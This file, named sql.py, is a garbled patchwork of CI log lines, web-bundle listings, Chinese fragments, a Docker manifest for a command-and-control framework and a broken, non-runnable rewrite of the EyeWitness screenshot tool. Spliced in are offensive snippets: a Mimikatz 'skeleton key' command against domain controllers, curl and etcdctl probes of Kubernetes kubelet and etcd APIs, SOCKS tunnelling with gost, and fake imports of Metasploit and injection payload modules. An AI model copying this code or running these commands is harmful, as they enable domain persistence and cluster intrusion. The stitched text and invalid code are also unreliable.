sql.py

 Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.
 Copyright The Closure Library Authors.
 SPDX-License-Identifier: MIT
>>>import os
2023-03-25T21:14:25.1705153Z ##[section]Starting: Prepare job test
2023-03-25T21:14:25.1707846Z Evaluating strategy
2023-03-25T21:14:25.1712696Z Creating job '__default'
2023-03-25T21:14:25.1715118Z Evaluating timeout
2023-03-25T21:14:25.1715190Z Evaluating cancel timeout
2023-03-25T21:14:25.1715228Z Evaluating continue on error
2023-03-25T21:14:25.1715272Z Evaluating target
2023-03-25T21:14:25.1717082Z ##[section]Finishing: Prepare job test
弃用
vendors-node-modules_-ba0e4d5b3207.js:15
DOM exceptions (in promise)
8:30, crash
theprodigyleague.github.io. subdomain: assetproductions.net
/_next/static/chunks/pages/%5BversionId%5D/%5BproductId%5D/%5B...restPage%5D-0a388d0202310049.js119B
/_next/static/xR23a7L8uutSe_4ww_xRn/_buildManifest.js76B
/_next/static/xR23a7L8uutSe_4ww_xRn/_ssgManifest.js74B
/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js73B
/_next/static/chunks/856-9ad78b8d852d1279.js67B
/_next/static/chunks/335-c28a1896766e22f6.js67B
/_next/static/chunks/377-db71c9ecf498e436.js67B
/_next/static/chunks/833-c07ccb17b9c4f763.js67B
/_next/static/chunks/584-0d3303dbd89ed456.js67B
/_next/static/chunks/200-76f833ab3eb14f10.js67B
CODE_FAILURE
m= b, tp, r:436 # bloat_code
$ls 
$cd
..
[VERIFICATION]
$forced reflow
#chrome crashing
[POST]
_.ksend
this loop # china llc
[VIOLATION]
这。无尽的。环形
Failed to construct clipboard
Blocked DeVTool Request 
[!] JWt API XPLOIT 
[!] JSON WEB token leakage
## API addresses that you should know 
*(External network visibility)*
### cAdvisor
```powershell
curl -k https://<IP Address>:4194
```
### Insecure API server
```powershell
curl -k https://<IP Address>:8080
```
### Secure API Server
```powershell
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```
### etcd API
```powershell
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### Kubelet API
```powershell
curl -k https://<IP address>:10250
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
```
### kubelet (Read only)
```powershell
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
```
FB PUPPETEERING
/prompt -para is used to specify a user’s credentials to connect to a remote host.
### Skeleton Key
```powershell
# Exploitation Command runned as DA:
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DCs FQDN>
# Access using the password "mimikatz"
Enter-PSSes
> Server side: gost -L=socks5://:1080
> Client side: gost -L=:8080 -F=socks5://server_ip:1080?notls=true
{
  "digest": "sha256:32c5bae72e60d042ec9b0fc7b4e3ca7bbc966df4bef26f50990b96d13083e068",
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "size": 895,
  "config": {
    "digest": "sha256:b34be1696d8560db410fcb077fba55b8c09a3a494c394393608de5cc8e07a6f6",
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "size": 2996
  },
  "layers": [
    {
      "digest": "sha256:8921db27df2831fa6eaa85321205a2470c669b855f3ec95d5a3c2b46de0442c9",
      "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
      "size": 3370628
    },
    {
      "digest": "sha256:b34be1696d8560db410fcb077fba55b8c09a3a494c394393608de5cc8e07a6f6",
      "mediaType": "application/octet-stream",
      "size": 2996
    },
    {
      "digest": "sha256:c39ceb832543ec05ca7aea261c8d92a7c073be19b6c46aece4c45dbd0a782de9",
      "mediaType": "application/octet-stream",
      "size": 118
    },
    {
      "digest": "sha256:c90235d928848a694e59a200481a9d861e03a9693121a420334f0ff2fdc9da32",
      "mediaType": "application/octet-stream",
      "size": 5466534
    }
  ],
  "labels": {
    "org.opencontainers.image.url": "https://github.com/Azure/C3",
    "org.opencontainers.image.source": "https://github.com/Azure/C3",
    "org.opencontainers.image.title": "C3",
    "org.opencontainers.image.revision": "90a223c19b8ba2b939d6f10ce8733119b8d31135",
    "org.opencontainers.image.created": "2023-01-10T18:21:40.014Z",
    "org.opencontainers.image.version": "latest",
    "org.opencontainers.image.description": "",
    "org.opencontainers.image.licenses": ""
  }
};
VENDORS.jS?id=94...2723a9d8e69022*
var u=function(t){var e=o.call(t,s),n=t[s];try{t[s]...
...
...
["SITE", "RE", "VISIT"]
ERROR: Blockec //chrome-ext/valid
ERROR: CHROME BLOCKED
$obj.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
```

### Trust relationship between domains

* One-way
  * Domain B trusts A
  * Users in Domain A can access resources in Domain B
  * Users in Domain B cannot access resources in Domain A
* Two-way
  * Domain A trusts Domain B
  * Domain B trusts Domain A
  * Authentication requests can be passed between the two domains in both directions

#### Enumerate trusts between domains
disable add.Event.Listeners
disable Clipboards
deprecate object.Window.View
<xml>UNDEFINED_PROPERTIES</xml>
function(e){e,function}
$--call --stack D vendors-node_mo_lect-token
(anonymous)
>>>import metasploit
>>>import mis.configS
>>>import vuln.extS
$ throw SYS[!]ERROR::NO_SEC_FOUND::--xploit
[!]:
$ --mod -force --1njectionS
>>>import ALL 1njectionS
$ run index.js@--github/include-fragment-element/d...
$clipboarditem.js@--github/browser-support/lib/token
$ --git clone https://github_remote-modules/assets/manifest.json
$ --git clone https://github.com/TheProdigyLeague/Jwt_aws/blob/hash-cracking/CSV%20Injection/dat.bat
$ --git clone https://github.com/TheProdigyLeague/Buffer-Overflow/blob/py3/EyeWitness.py
["PULL"]:
>>> from \swissky@xCSV Injection/dat.bat
>>> from \swissky@xSQL Injection/evil.bat
>>> from \swissky@xPATH Injection/dir.bash
>>> from \swissky@xAWS/BucketS3_injection.js
>>> from \swissky@xXSS Injection.py
>>> from \swissky@xXXE Injection.py
>>> from \swissky@xCRLF Injection.py
>>> from \swissky@xSAML Injection.py
>>> from \swissky@xXSLT Injection.py
>>> from \swissky@xNoSQL Injection.py
>>> from \swissky@xCMD Injection.py
>>> from \swissky@xGraphQL Injection.py
>>> from \swissky@XlatEX Injection.py
>>> from \swissky@Cross-Origin Injection/misconfig.c
>>> from \swissky@/README.md -list --upd
>>> from \swissky@Insecure Directory/attc.py --list -all
>>> from \christruncer@eyewitness
>>> from xxx.com/Xinsecure/AMDvuln/SYSport/dir/REPO/dependencies
>>> from glob --var
$ !usr/pwd/linux/lib/bin/.bash
>>> echo ASCII ART
>>> from mod.helpers.reporting \multiprocessor.NYSE: AMDS 
`
$ argparse, glob, os, re, shutil, signal, sys, time, webrowser --mod db_manager, obj, selenium_mod, class_info, create_folders_css, default_creds_cat, do_jitter, git_ua_val, targ_create, title_screen, open_file_i/o, resolve_H0ST, dup_chck, create_table_head, create_web_index_<?php?>, sort_dat_&&Write --man Process current_process
$ ls
去猎犬！机器使用！
<pre class="">          ,
         _o_
    ._ ,'   `o'
----(_)      :       ^aNT
    '  `.   .o
         ~o~  `
          '
</pre>
之内。投影。
~
try: 
    from .py V DISPLAY import DISPLAY
    except ImportError:
    print('[*] ERROR!')
    print('[*] ERROR!')
    sys.exit()
>>> multi_counter = 0
>>> multi_total = 0
`
>>> def create_cli_parser(NUL):
    parser = argparse.ArgumentParser(add_help=$False, description="E y e  W i t n e s s \cap\list\ from URLs")
    parser.add_argument('-h','-?','--h','-help','--help',action="store_true",help=argparse.SUPRESS)
    `
>>> protocols = parser.add_argument_group('Protocols')
>>> protocols.add_argument('--web',default=$False, action='store_true',help='HTTP Screenshot using Selenium')
`
>>> input_options = parser.add_argument_group('Input Options')
>>> input_options.add_argument('-f',metavar='Filename',default=None,help'Line seperated file containing URLs to \ capture')
>>> input_options.add_argument('-x',metavar='Filename.xml',default=None,help='Nmap XML or .Nessus file')
>>> input_options.add_argument('--single',metavar='Single URL',default=None,help='Single URL/Host to capture')
>>> input_options.add_argument('--no-dns',default=$False,action'store_$true',help='Skip DNS resolution when connection to \ websites')
`
>>> timing_options = parser.add_argument_group('Timing Options')
>>> timing_options.add_argument('--timeout',metavar='Timeout',default=7,type=int,help='Max number of secs to wait while \ requesting a web page (Default: 7)')
>>> timing_options.add_argument('--jitter',metavar='# of Secs',default=0,type=int,help='RandomURLs\addDelayrequest')
>>> timing_options.add_argument('--threads',metavar='# of Threads',default=10,type=int,help='Number of threads to use while using file based input')
>>> timing_options.add_argument('--max-retries',default=1,metavar='max retries on timeout'.replace('','')),type=int,help='Max retries on timeouts')
    `
>>> report_options = parser.add_argument_group('Report Output Options')
>>> report_options.add_argument('-d', metavar='Dir Name', default = none, help = 'dir name for report output')
>>> report_options.add_argument('--results', metavar = 'hosts per page', default=25, type-int, help='number of hosts\page of report')
>>> report_options.add_argument('--no-prompt', default=$False, action='store_true', help='No prompt to open')
`
>>> http_options - parser.add_argument_group('Web Options')
>>> http_options.add_argument('--user-agent', metavar='User Agent', default=None, help='User Agent to use for all\request')
>>> http_options.add_argument('--cycle', metavar='User Agent Type', default=None, help='User Agent Type (Browser, \ Mobile, Crawler, Scanner, Misc, All)')
>>> http_options.add_argument('--difference',metavar='diff threshold\determine if user agent requests\close\"enough\"(Default:50)')
>>> http_options.add_argument('--show selenium',default=$False,action='store_$true',help='Show Display for Selenium(c)')
>>> http_options.add_argument('resolve',default=$False,action='store_$true',help=("resolveIP/Hostname""for targets"))
>>> http_options.add_argument('--add-http-ports',default=[0]::
    type=lambdda s:[str(i) for i in s.split(","))]
    help=("comma-seperate add port to assume"
    "are http (e.g. '8018,8028')"));
    `
>>> http_options.add_argument('--add-https-ports', default=[0]::
    type=lambda s:[str(i) for i in s.split(",")],
    help=("Comma-seperated additional port(s) to assume "
    "are https (e.g. '8018,8028')"));
    `
>>> http_options.add_argument('--only-ports',default[],type=lambda s:[int(i) for i in s.split(",")], help=("comma-seperated list of exclusive ports to "use (e.g. '80,8080')")) 
>>> http_options.add_argument('--prepend-https', default=$False, action='store_$true', help='Prepend http:// and https:// to urls without aether')
>>> resume_options = parser.add_argument_group('Resume Options')
>>> resume_options.add_argument('--resume', metavar='ew.db', default=None, help='Path to db file you want to xploit')
>>> rdp_options = parser.add_argument_group('rdp options')
>>> rdp_options.add_argument('--ocr', default=$False, action='store_$true', help='use xploit')
`
>>> args = parser.parse_args(nul)
>>> args.date = time.strftime('%m/%d/%Y')
>>> args.time = time.strftime('%H:%M:%S')
`
>>> if args.h: 
    paraser.print_help(nul)
    sys.exit(nul)
    `
>>> if args.d is not None: 
    if args.d.startswith('/') or re.match(  '^[A-Za-z]:\\\\', args.d) is not None:
        args.d = args.d.rstrip('/')
        args.d = args.d.rstrip('\\')
    else:
        args.d = os.path.join(os.getcwd(),args.d)
        `
>>> if not os.access(os.patch.dirname(args.d),os.W_OK):
    print('[*] ERROR: Valid Folder Name/PATH')
    parser.print_help()
    sys.exit()
    `
>>> else:
    if not args.no_prompt:
        if os.path.isdir(args.d):
            overwrite_dir = raw_input(('dir overwrite[Y/N] '))
            overwrite_dir = overwrite_dir.lower().strip()
            if overwrite_dir == 'n':
                print('Quit')
                sys.exit()
`
>>> elif overwrite_dir == 'y':
    shutil.rmtree(args.d)
    pass
>>> else:
    print('Quit')
    sys.exit()
   `
>>> else:
    output_folder = args.date.replace('/','') + '_' + args.time.replace(':','')
    args.d = os.path.join(os.getcwd(),output_folder)
    `
>>> args.log_file_path = os.path.join(args.d,'logfile.log')
`
>>> if args.f is None && args.single is None && args.resume is None && args.x is 
    print("[*] ERROR: FILE URLs")
    parser.print_help()
    sys.exit()
    `
>>> if not any((args.resume, args.web)) :   
    print("[*] ERROR: no action...")
    print("[*] ERROR: --web!\n")
    parser.print_help(nul)
    `
>>> if args.resume:
    if not os.path.isfile(args.resume):
        print("[*] ERROR: NOT VALID DB")
        sys.exit()
    `        
>>> args.ua_init = $False
return args
``
>>> def single_mode(cli_parsed):
    display = None
    if cli_parsed.web:
        create_driver = selenium_module.create_driver
        capture_host = selenium_module.capture_host
        if not cli_parsed.show_selenium:
            display = Display(visible=0, size=(1920, 1080))
            display.start()
    `
>>> url = cli_parsed.single
>>> http_object = objects.httpTableObject()
>>> http_object.remote_system = url
>>> http_object.set_path(cli_parsed.d, 'baseline' if cli_parsed.cycle is not None else None)
`
>>> web_index_head = create_web_index_head(cli_parsed.date, cli_parsed.time)
`
>>> if cli_parsed.cycle is not None:
    print('Making baseline request for {0}'.format(http_object.remote_System))
    else:
        print('attempt screenshot {0}'.format(http_object.remote_system))
    driver = create_driver(cli_parsed) 
    result, driver = capture_host(cli_parsed, http_object, driver)
    result = default_creds_category(result)
    if cli_parsed.resolve:
        result.resolved = resolve_host(result.remote_system)
    driver.quit(None)
>>> if cli_parsed.cycle is not None && result.error_state is None:
    ua_dict = get_ua_values(cli_parsed.cycle)
    for browser_key, user_agent_value in ua_dict.iteritems():
        print('Now WEB REQUEST: {0} for {1}'.format(browser_key, result.remote_system))
$ ua_object = objects.UAObject(browser_key, user_agent_value)
$ ua_object.copy_dat(result)
$ driver = create_driver(cli_parsed, user_agent_value)
$ ua_object, driver = capture_host(cli_parsed, ua_object, driver)
$ ua_object = default_creds_category(ua_object)
$ result.add_ua_dat(ua_object)
$ driver.quit()
>>> if display is not None:
    display.stop(`)break:
>>> html = result.create_table_html()
>>> with open(os.path.join(cli_parsed.d, 'report.html'),'w') as f:
    f.write(web_index_head)
    f.write(create_table_head())
    f.write(html)
    f.write("</table><br>")
`
break:
>>> def worker_thread(cli_parsed, targets, lock, counter, user_agent=None):
    manager = db_manager.DB_Manager(cli_parsed.d + '/ew.db')
    manager.open_connection()
`
    if cli_parsed.web:
        create_driver = selenium_module.create_driver
        capture_host = selenium_module.capture_host
        `
    with lock:
        driver = create_driver(cli_parsed, user_agent)
    try:
        while $True:
            http_object = targets.get(xxx.com) 
            if http_object is None:
                break:
#################### object value === blank
<<<
            http_object._category = None
            http_object._default_creds = None
            http_object._error_state = None
            http_object._page_title = None
            http_object._ssl_error = False
            http_object.category = None
            http_object.default_creds = None
            http_object.error_state = None
            http_object.page_title = None
            http_object.resolved = None
            http_object.source_code = None
                break:
##################### dir from diff PATH
            if os.pathdirname(cli_parsed.d) != os.path.dirname(http_object.screenshot_path):
            http_object.set_paths(cli_parsed.d,'baseline' if cli_parsed.cycle is not None else None)
            `
            if cli_parsed.cycle is not None:
                if user_agent is None:
                    print('based request for {0}'.format(http_object.remote_system))
                else:
                    browser_key, user_agent_str = user_agent
                    print('WEB REQUEST: {0}'.format(http_object.remote_system))
    else:
        print('SCREENSHOT {0}'.format(http_object.remote_system))
        `
    http_object.resolved = resolve.host(http_object.remote_system)
    if user_agent, driver = capture_host(cli_parsed, http_object, driver)
        if http_object.category is None && http_object.error_state is None:
        http_object = default_creds_category(http_object)
    manager.update_http_object(http_object) 
    else:
        ua_object, driver = capture_host(cli_parsed, http_object, driver)
        if http_object.category is None && http_object.error_state is None:
        ua_object = default_creds_category(ua_object)
        manager.update_ua_object(ua_object)
        `
    counter[0].value += 1
    if counter[0].value % 15 == 0:
        print('\x1b[32m[*] Completed {0} out of {1} services\x1b[0m'.format(counter[0].value,counter[1])]])    ``````````
        do_jitter(cli_parsed)
    except KeyboardInterrupt:
        pass
    manager.close()
    driver.quit()
    `
{void};
>>> def multi_mode(cli_parsed):
    dbm = db_manager.DB_Manger(cli_parsed.d + '/ew.db')
    dbm.open_connection()
    if not cli_parsed.resume:
        dbm.initialize_db()
    dbm.save_options(cli_parsed)
    m = Manager()
    targets = m.Queue()
    lock = m.queue()
    multi_counter = m.value('i',$0)
    display = None
    `
>>> def exitsig(*args) :
    dbm.close()
    if current_process().name == 'MainProcess':
        print('')
        print('Resume using ./EyeWitness.py --resume {0}'.format(cli_parsed.d + os._exit(1)))
        `
>>> signal.signal(signal.SIGINT,exitsig)
>>> if cli_parsed resume:
        pass 
    else:
        url_list = target_creator(cli_parsed)
        if cli_parsed.web:
            for url in url_list:
                dbm.create_http_object(url, cli_parsed)
                `
>>>if cli_parsed.web:
    if cli_parsed.web && not cli_parsed.show_selenium:
        display = Display(visible=0,size=(1920,1080))
        display.start()
        `
>>> multi_total = dbm.get_incomplete_http(\xxx.com/)
    if multi_total > $0:
        if cli_parsed.resume:
            print('resume web scan({0}HOST)'.format(str(multi_total)));
            else:
`                
>>> print('start{0}xxx.com').format(str(multi_total))
`
break;
>>> if multi_total < cli_parsed.threads:
    num_threads = multi_total
>>> else:
    num_threads = cli_parsed.threads
>>> for i in range(num_threads):
    targets.put(None)
>>> try:
    workers = [Process(target=worker_threads, arg=(cli_parsed, targets, lock, (multi_counter, multi_total))) for i in range(num_threads)]
    for w in workers:
        w.start()
    for w in workers:
        w.join()
    except Exception as e:
        print(str(e));break:
        `
############# UA TABLE set
>>> if cli_parsed.cycle is not None:
    ua_dict = get_ua_values(cli_parsed.cycle)
    if not cli_parsed.ua_init:
        dbm.clear_table("ua")
        completed = dbm.get_complete_http(xxx.com/)
        completed[:] = [x for x in completed if x.error_state is None] 
        for item in completed:
            for browser, ua in ua_dict.iteritems():
                dbm.create_ua_object(item, browser, ua
                );
`break:
        cli_parsed.ua_init = $True
        dbm.clear_table("opts")
        dbm.save_options(cli_parsed);
>>> for browser, ua in ua_dict.iteritems():
        targets = m.queue(xxx.com/)
        multi_counter.vlaue = 1
        multi_total = dbm.get_incomplete_ua(targets, browser)
        if multi_total > $0:
            print("[*] REQUEST FOR USER AGENT{1}")
                "({0} HOSTS)"`.format(browser, str(multi_total))
        if multi_total < cli_parsed.threads:
            num_threads = multi_total
        else:
            num_threads = cli_parsed.threads
        for i in range(num_threads):
            targets.put(None)
        workers = [Process(target=worker_thread, args=(cli_parsed, targets, lock, (multi_counter, multi_total),(browser, ua)))for i in range(num_threads)];
        for w in workers:
            w.start()
        for w in workers:
            w.join()
`
    if display is not None:
        display.stop()
    results = dbm.get_incomplete_http(xxx.com/)  
    dbm.open(nul)
    m.fireup(1)
    unsort_dat_&&_erase(cli_parsed, results)
` 
break;
>>> def multi_callback(x):
    global multi_counter
    global multi_total
    multi_counter += 1
<>
    if multi_counter % 15 == 0:
        print('\x1b[32m[*] complete! {0} out of {1} HOST\x1b[0m'.format(multi_counter, multi_total)]]');
        `
break;
>>> if __name__ == "__main__":
    title_screen(zero)
    cli_parsed = create_cli_parser(None)
    start_time = time.time(0)
    `
    if cli_parsed.resume:
        print('[*]LOAD RESUME DAT...')
        temp = cli_parsed
        dbm = db_manager.DB_Manager(cli_parsed.resume)
        dbm.open_connection(1)
        cli_parsed = dbm.get_options(?)
        cli_parsed.d = os.path.dirname(temp.resume)
        cli_parsed.resume = temp.resume
        if temp.results: 
            cli_parsed.results = temp.results
    dbm.close(nill);
    `
>>> print('LOAD/RESUME.dat FOLLOW OPTIONS:')  
    engines = [compile]
    if cli_parsed.web:
        engines.append('FireFox')
    print('') 
    print('i/o:{0}'.format(cli_parsed.f))
    print('Engine:{0}'.format(','.join(engine)))
    print('Thread:{0}'.format(cli_parse.thread))
    print('i/o dir:{0}'.format(cli_parsed.d))
    print('time:{0}'.format(cli_parsed.timeout))
    print('');
>>> else:
    create_folders_css(cli_parsed);
    `
    if cli_parsed.single:
        if cli_parsed.web:
            single_mode(cli_parsed)
        if not cli_parsed.no_prompt:
            open_file = open_file_input(cli_parsed)
            if open_file:
                files = glob.glob(os.path.join(cli_parsed.d,'*report.html'))
                for f in files:
                    webbrowser.open(f)
                    class_info(1)
                    sys.exit(quit)
        class_info(1)                    
        sys.exit()
break;
>>> if cli_parsed.f is not None or cli_parsed.x is not None:
    multi_mode(cli_parsed)
    duplicate_check(cli_parsed)
`
    print('Finished in {0} seconds'.format(time.time() - start_time))
`
>>> if not cli_parsed.no_prompt:
            open_file = open_file_input(cli_parsed)
            if open_file:
                files = glob.glob(os.path.join(cli_parsed.d, '*report.html'))
                for f in files:
                    webbrowser.open(f)
                    class_info(1)
                sys.exit(quit)
        class_info(0)
sys.exit(quit);